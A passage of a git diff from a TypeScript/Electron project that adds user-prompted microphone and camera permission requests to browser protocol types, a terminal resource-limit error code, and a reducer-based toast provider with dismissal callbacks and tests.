               tabs === current.tabs &&
-              current.activeTabId === pageState.tabId &&
+              current.activeTabId === nextPageState.tabId &&
               current.sessionAlive &&
-              pageStateEqual(current.pageState, pageState)
+              pageStateEqual(current.pageState, nextPageState)
             ) {
               return current
             }
             return {
               ...current,
-              pageState,
+              pageState: nextPageState,
               sessionAlive: true,
-              activeTabId: pageState.tabId,
+              activeTabId: nextPageState.tabId,
               tabs,
             }
           })
diff --git a/bun.lock b/bun.lock
index 7dd679e580d..c65aec3364f 100644
--- a/bun.lock
+++ b/bun.lock
@@ -48,6 +48,7 @@
         "safe-regex2": "5.1.0",
       },
       "devDependencies": {
+        "@electron/fuses": "1.8.0",
         "@playwright/test": "1.61.1",
         "@sim/tsconfig": "workspace:*",
         "@types/micromatch": "4.0.10",
diff --git a/packages/browser-protocol/src/index.ts b/packages/browser-protocol/src/index.ts
index 85a308c3f62..ff93d2661bd 100644
--- a/packages/browser-protocol/src/index.ts
+++ b/packages/browser-protocol/src/index.ts
@@ -159,6 +159,7 @@ export interface BrowserPanelAction {
     | 'zoom-in'
     | 'zoom-out'
     | 'zoom-reset'
+    | 'respond-media-permission'
     | 'takeover-done'
   /** Absolute URL for `navigate` (typed into the panel's URL bar). */
   url?: string
@@ -166,6 +167,19 @@ export interface BrowserPanelAction {
   tabId?: string
   /** Optional free-text instruction submitted with `takeover-done`. */
   takeoverResponse?: string
+  /** Exact pending media request being answered. */
+  requestId?: string
+  /** User decision for `respond-media-permission`. */
+  allowed?: boolean
+}
+
+export type BrowserMediaDevice = 'microphone' | 'camera'
+
+/** One document-scoped media request awaiting an explicit user decision. */
+export interface BrowserMediaPermissionRequest {
+  requestId: string
+  origin: string
+  devices: BrowserMediaDevice[]
 }
 
 /** Live state of the active page, pushed to the panel header. */
@@ -180,6 +194,8 @@ export interface BrowserPageState {
   canGoForward: boolean
   /** Recoverable problem replacing the native page surface. Optional for older shells. */
   issue?: BrowserPageIssue
+  /** Main-frame media request awaiting a renderer-owned permission prompt. */
+  mediaPermissionRequest?: BrowserMediaPermissionRequest
 }
 
 /** A recoverable top-level page problem rendered by Sim instead of a blank native view. */
diff --git a/packages/desktop-bridge/contract-snapshot.ts b/packages/desktop-bridge/contract-snapshot.ts
index f50ab51a9ac..2cad883150e 100644
--- a/packages/desktop-bridge/contract-snapshot.ts
+++ b/packages/desktop-bridge/contract-snapshot.ts
@@ -174,6 +174,7 @@ export interface BrowserPanelAction {
     | 'zoom-in'
     | 'zoom-out'
     | 'zoom-reset'
+    | 'respond-media-permission'
     | 'takeover-done'
   /** Absolute URL for `navigate` (typed into the panel's URL bar). */
   url?: string
@@ -181,6 +182,19 @@ export interface BrowserPanelAction {
   tabId?: string
   /** Optional free-text instruction submitted with `takeover-done`. */
   takeoverResponse?: string
+  /** Exact pending media request being answered. */
+  requestId?: string
+  /** User decision for `respond-media-permission`. */
+  allowed?: boolean
+}
+
+export type BrowserMediaDevice = 'microphone' | 'camera'
+
+/** One document-scoped media request awaiting an explicit user decision. */
+export interface BrowserMediaPermissionRequest {
+  requestId: string
+  origin: string
+  devices: BrowserMediaDevice[]
 }
 
 /** Live state of the active page, pushed to the panel header. */
@@ -195,6 +209,8 @@ export interface BrowserPageState {
   canGoForward: boolean
   /** Recoverable problem replacing the native page surface. Optional for older shells. */
   issue?: BrowserPageIssue
+  /** Main-frame media request awaiting a renderer-owned permission prompt. */
+  mediaPermissionRequest?: BrowserMediaPermissionRequest
 }
 
 /** A recoverable top-level page problem rendered by Sim instead of a blank native view. */
@@ -782,6 +798,8 @@ export type TerminalErrorCode =
    */
   | 'NO_SHELL_INTEGRATION'
   | 'SPAWN_FAILED'
+  /** Opening another local shell would exceed the desktop resource ceiling. */
+  | 'RESOURCE_LIMIT'
   /** No terminal with that id — the ids come from terminal_list. */
   | 'NO_SUCH_TERMINAL'
   /** The operation needs tmux, and this terminal has no tmux attached. */
@@ -893,8 +911,6 @@ export interface SimDesktopTerminalApi {
   disposeScope(scopeId: string): Promise<boolean>
   /** Stops a soft-deleted chat's shells while retaining its restart descriptor. */
   suspendScope(scopeId: string): Promise<boolean>
-  /** End every shell. A new one starts on the next `start`. */
-  dispose(): void
   /** Subscribe to PTY output batches. Returns an unsubscribe function. */
   onData(callback: (terminalId: string, data: string, scopeId: string) => void): () => void
   /**
diff --git a/packages/desktop-bridge/src/index.ts b/packages/desktop-bridge/src/index.ts
index 8fafec4a326..9792b74d4b1 100644
--- a/packages/desktop-bridge/src/index.ts
+++ b/packages/desktop-bridge/src/index.ts
@@ -95,8 +95,6 @@ export interface SimDesktopTerminalApi {
   disposeScope(scopeId: string): Promise<boolean>
   /** Stops a soft-deleted chat's shells while retaining its restart descriptor. */
   suspendScope(scopeId: string): Promise<boolean>
-  /** End every shell. A new one starts on the next `start`. */
-  dispose(): void
   /** Subscribe to PTY output batches. Returns an unsubscribe function. */
   onData(callback: (terminalId: string, data: string, scopeId: string) => void): () => void
   /**
diff --git a/packages/emcn/src/components/toast/toast.test.tsx b/packages/emcn/src/components/toast/toast.test.tsx
new file mode 100644
index 00000000000..71420296b30
--- /dev/null
+++ b/packages/emcn/src/components/toast/toast.test.tsx
@@ -0,0 +1,143 @@
+/**
+ * @vitest-environment jsdom
+ */
+import { act, type ReactNode, useEffect } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { ToastProvider, toast } from './toast'
+
+const navigation = vi.hoisted(() => ({
+  pathname: '/workspace/workspace-1/home',
+}))
+
+vi.mock('next/navigation', () => ({ usePathname: () => navigation.pathname }))
+
+let root: Root | null = null
+let container: HTMLDivElement | null = null
+
+function mountProvider(children?: ReactNode): void {
+  ;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+  container = document.createElement('div')
+  document.body.appendChild(container)
+  root = createRoot(container)
+  act(() => root?.render(<ToastProvider>{children}</ToastProvider>))
+}
+
+beforeEach(() => {
+  navigation.pathname = '/workspace/workspace-1/home'
+  vi.stubGlobal(
+    'ResizeObserver',
+    class {
+      disconnect(): void {}
+      observe(): void {}
+    }
+  )
+})
+
+afterEach(() => {
+  if (root) act(() => root?.unmount())
+  container?.remove()
+  root = null
+  container = null
+  vi.unstubAllGlobals()
+})
+
+describe('ToastProvider', () => {
+  it('does not dismiss a route-mounted toast before it commits', () => {
+    mountProvider()
+    const onDismiss = vi.fn()
+
+    function RouteToast() {
+      useEffect(() => {
+        toast.info('Ready on the new route', { onDismiss, duration: 0 })
+      }, [])
+      return null
+    }
+
+    navigation.pathname = '/workspace/workspace-1/settings'
+    act(() =>
+      root?.render(
+        <ToastProvider>
+          <RouteToast />
+        </ToastProvider>
+      )
+    )
+
+    expect(onDismiss).not.toHaveBeenCalled()
+    expect(document.body.textContent).toContain('Ready on the new route')
+
+    act(() => toast.dismissAll())
+    expect(onDismiss).toHaveBeenCalledOnce()
+  })
+
+  it('runs dismissal cleanup once when an action closes the toast', () => {
+    mountProvider()
+    const onDismiss = vi.fn()
+    const onAction = vi.fn()
+
+    act(() => {
+      toast.info('Permission requested', {
+        action: { label: 'Allow', onClick: onAction },
+        onDismiss,
+      })
+    })
+
+    const action = Array.from(document.querySelectorAll('button')).find(
+      (button) => button.textContent === 'Allow'
+    )
+    const dismiss = document.querySelector<HTMLButtonElement>(
+      'button[aria-label="Dismiss notification"]'
+    )
+    expect(action).not.toBeUndefined()
+    expect(dismiss).not.toBeNull()
+    act(() => action?.click())
+    expect(onAction).toHaveBeenCalledOnce()
+    expect(onDismiss).toHaveBeenCalledOnce()
+    act(() => dismiss?.click())
+
+    expect(onDismiss).toHaveBeenCalledOnce()
+  })
+
+  it('runs dismissal cleanup for programmatic removal', () => {
+    mountProvider()
+    const onDismiss = vi.fn()
+    let id = ''
+
+    act(() => {
+      id = toast.info('Permission requested', { onDismiss, duration: 0 })
+    })
+    act(() => toast.dismiss(id))
+
+    expect(onDismiss).toHaveBeenCalledOnce()
+  })
+
+  it('runs dismissal cleanup when a toast is added and removed in one batch', () => {
+    mountProvider()
+    const onDismiss = vi.fn()
+    let id = ''
+
+    act(() => {
+      id = toast.info('Permission requested', { onDismiss, duration: 0 })
+      toast.dismiss(id)
+    })
+
+    expect(onDismiss).toHaveBeenCalledOnce()
+    act(() => toast.dismiss(id))
+    expect(onDismiss).toHaveBeenCalledOnce()
+  })
+
+  it('runs dismissal cleanup when stack admission evicts an uncommitted toast', () => {
+    mountProvider()
+    const onDismiss = vi.fn()
+
+    act(() => {
+      toast.info('First', { onDismiss })
+      toast.info('Second')
+      toast.info('Third')
+      toast.info('Fourth')
+    })
+
+    expect(onDismiss).toHaveBeenCalledOnce()
+    expect(document.body.textContent).not.toContain('First')
+  })
+})
diff --git a/packages/emcn/src/components/toast/toast.tsx b/packages/emcn/src/components/toast/toast.tsx
index 23bb9226c0a..f58c9b655bf 100644
--- a/packages/emcn/src/components/toast/toast.tsx
+++ b/packages/emcn/src/components/toast/toast.tsx
@@ -10,6 +10,7 @@ import {
   useEffect,
   useLayoutEffect,
   useMemo,
+  useReducer,
   useRef,
   useState,
 } from 'react'
@@ -98,6 +99,72 @@ interface ToastData {
   action?: ToastAction
   duration: number
   persistAcrossRoutes: boolean
+  onDismiss?: () => void
+}
+
+interface ToastRemoval {
+  id: string
+  callback: () => void
+}
+
+interface ToastState {
+  toasts: ToastData[]
+  removals: ToastRemoval[]
+}
+
+type ToastStateAction =
+  | { type: 'add'; toast: ToastData }
+  | { type: 'dismiss'; id: string }
+  | { type: 'dismiss-all' }
+  | { type: 'sweep-route' }
+  | { type: 'ack-removals'; ids: string[] }
+
+const INITIAL_TOAST_STATE: ToastState = { toasts: [], removals: [] }
+
+function queueToastRemovals(state: ToastState, removed: ToastData[]): ToastRemoval[] {
+  const callbacks = removed.flatMap((toast) =>
+    toast.onDismiss ? [{ id: toast.id, callback: toast.onDismiss }] : []
+  )
+  return callbacks.length > 0 ? [...state.removals, ...callbacks] : state.removals
+}
+
+function toastStateReducer(state: ToastState, action: ToastStateAction): ToastState {
+  if (action.type === 'add') {
+    const toasts = [...state.toasts, action.toast]
+    if (toasts.length <= STACK_LIMIT) return { ...state, toasts }
+    const evictIndex = toasts.findIndex((toast) => toast.duration > 0)
+    const [removed] = toasts.splice(evictIndex === -1 ? 0 : evictIndex, 1)
+    return { toasts, removals: queueToastRemovals(state, [removed]) }
+  }
+
+  if (action.type === 'dismiss') {
+    const removed = state.toasts.find((toast) => toast.id === action.id)
+    if (!removed) return state
+    return {
+      toasts: state.toasts.filter((toast) => toast.id !== action.id),
+      removals: queueToastRemovals(state, [removed]),
+    }
+  }
+
+  if (action.type === 'dismiss-all') {
+    if (state.toasts.length === 0) return state
+    return { toasts: [], removals: queueToastRemovals(state, state.toasts) }
+  }
+
+  if (action.type === 'sweep-route') {
+    const removed = state.toasts.filter((toast) => !toast.persistAcrossRoutes)
+    if (removed.length === 0) return state
+    return {
+      toasts: state.toasts.filter((toast) => toast.persistAcrossRoutes),
+      removals: queueToastRemovals(state, removed),
+    }
+  }
+
+  const acknowledged = new Set(action.ids)
+  return {
+    ...state,
+    removals: state.removals.filter((removal) => !acknowledged.has(removal.id)),
+  }
 }
 
 type ToastInput = {
@@ -105,6 +172,8 @@ type ToastInput = {
   description?: string
   variant?: ToastVariant
   action?: ToastAction
+  /** Called once when the toast leaves the stack, regardless of how it was dismissed. */
+  onDismiss?: () => void
   duration?: number
   /**
    * Keep the toast across navigation. The stack is otherwise cleared on every
@@ -330,7 +399,12 @@ function ToastItem({ toast: t, geometry, reduceMotion, onDismiss, onMeasure }: T
         transition: reduceMotion ? { duration: 0 } : { duration: 0.15, ease: 'easeIn' },
       }}
       transition={transition}
-      style={{ zIndex, transformOrigin: 'bottom', width: TOAST_WIDTH, borderRadius: cornerRadius }}
+      style={{
+        zIndex,
+        transformOrigin: 'bottom',
+        width: TOAST_WIDTH,
+        borderRadius: cornerRadius,
+      }}
       className='pointer-events-auto absolute right-0 bottom-0 m-0 overflow-hidden border border-[var(--border-1)] bg-[var(--bg)] shadow-[var(--shadow-overlay)]'
     >
       <div ref={contentRef} className='flex flex-col gap-2 p-2'>
@@ -406,11 +480,12 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
   /** On the workflow editor (`/w/[id]` and the `/w` index) the stack insets by `--panel-width` / `--terminal-height` to clear the panel and terminal. */
   const isWorkflowPage = pathname ? /\/w(\/|$)/.test(pathname) : false
 
-  const [toasts, setToasts] = useState<ToastData[]>([])
+  const [{ toasts, removals }, dispatch] = useReducer(toastStateReducer, INITIAL_TOAST_STATE)
   const [heights, setHeights] = useState<Record<string, number>>({})
   const [expanded, setExpanded] = useState(false)
   const [mounted, setMounted] = useState(false)
   const timersRef = useRef(new Map<string, ReturnType<typeof setTimeout>>())
+  const processedRemovalIdsRef = useRef(new Set<string>())
 
   /**
    * Clear the previous route's toasts when the route changes. Toasts flagged
@@ -430,9 +505,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
   const [sweptPathname, setSweptPathname] = useState(pathname)
   if (pathname !== sweptPathname) {
     setSweptPathname(pathname)
-    setToasts((prev) =>
-      prev.some((t) => !t.persistAcrossRoutes) ? prev.filter((t) => t.persistAcrossRoutes) : prev
-    )
+    dispatch({ type: 'sweep-route' })
   }
 
   useEffect(() => {
@@ -455,7 +528,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
    * auto-dismissable toast is evicted first, so a persistent (actionable) toast
    * isn't silently dropped — only an all-persistent overflow evicts the oldest.
    */
-  const addToast = useCallback((input: ToastInput): string => {
+  const addToast = (input: ToastInput): string => {
     const id = generateId()
     const data: ToastData = {
       id,
@@ -465,16 +538,27 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
       action: input.action,
       duration: input.duration ?? (input.action ? 0 : AUTO_DISMISS_MS),
       persistAcrossRoutes: input.persistAcrossRoutes ?? false,
+      onDismiss: input.onDismiss,
     }
-    setToasts((prev) => {
-      const next = [...prev, data]
-      if (next.length <= STACK_LIMIT) return next
-      const evictIndex = next.findIndex((t) => t.duration > 0)
-      next.splice(evictIndex === -1 ? 0 : evictIndex, 1)
-      return next
-    })
+    dispatch({ type: 'add', toast: data })
     return id
-  }, [])
+  }
+
+  useEffect(() => {
+    const processed = processedRemovalIdsRef.current
+    if (removals.length === 0) {
+      processed.clear()
+      return
+    }
+    const ids: string[] = []
+    for (const removal of removals) {
+      if (processed.has(removal.id)) continue
+      processed.add(removal.id)
+      ids.push(removal.id)
+      removal.callback()
+    }
+    if (ids.length > 0) dispatch({ type: 'ack-removals', ids })
+  }, [removals])
 
   const dismissToast = useCallback((id: string) => {
     const timer = timersRef.current.get(id)
@@ -482,7 +566,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
       clearTimeout(timer)
       timersRef.current.delete(id)
     }
-    setToasts((prev) => prev.filter((t) => t.id !== id))
+    dispatch({ type: 'dismiss', id })
     setHeights((prev) => {
       if (!(id in prev)) return prev
       const next = { ...prev }
@@ -494,7 +578,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
   const dismissAllToasts = useCallback(() => {
     for (const timer of timersRef.current.values()) clearTimeout(timer)
     timersRef.current.clear()
-    setToasts([])
+    dispatch({ type: 'dismiss-all' })
     setHeights({})
   }, [])
 
@@ -554,7 +638,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
     }
   }, [])
 
-  /** Held in a ref (seeded once from the stable `addToast`) so the module-level `toast` binds to the live provider. */
+  /** Held in a ref (seeded once from `addToast`) so the module-level `toast` binds to the live provider. */
   const toastFn = useRef<ToastFn>(createToastFn(addToast))
 
   useEffect(() => {
@@ -570,7 +654,11 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
   }, [dismissToast, dismissAllToasts])
 
   const ctx = useMemo<ToastContextValue>(
-    () => ({ toast: toastFn.current, dismiss: dismissToast, dismissAll: dismissAllToasts }),
+    () => ({
+      toast: toastFn.current,
+      dismiss: dismissToast,
+      dismissAll: dismissAllToasts,
+    }),
     [dismissToast, dismissAllToasts]
   )
 
diff --git a/packages/terminal-protocol/src/index.ts b/packages/terminal-protocol/src/index.ts
index 01f0a36e20f..b3de2a9fc85 100644
--- a/packages/terminal-protocol/src/index.ts
+++ b/packages/terminal-protocol/src/index.ts
@@ -461,6 +461,8 @@ export type TerminalErrorCode =
    */
   | 'NO_SHELL_INTEGRATION'
   | 'SPAWN_FAILED'
+  /** Opening another local shell would exceed the desktop resource ceiling. */
+  | 'RESOURCE_LIMIT'
   /** No terminal with that id — the ids come from terminal_list. */
   | 'NO_SUCH_TERMINAL'
   /** The operation needs tmux, and this terminal has no tmux attached. */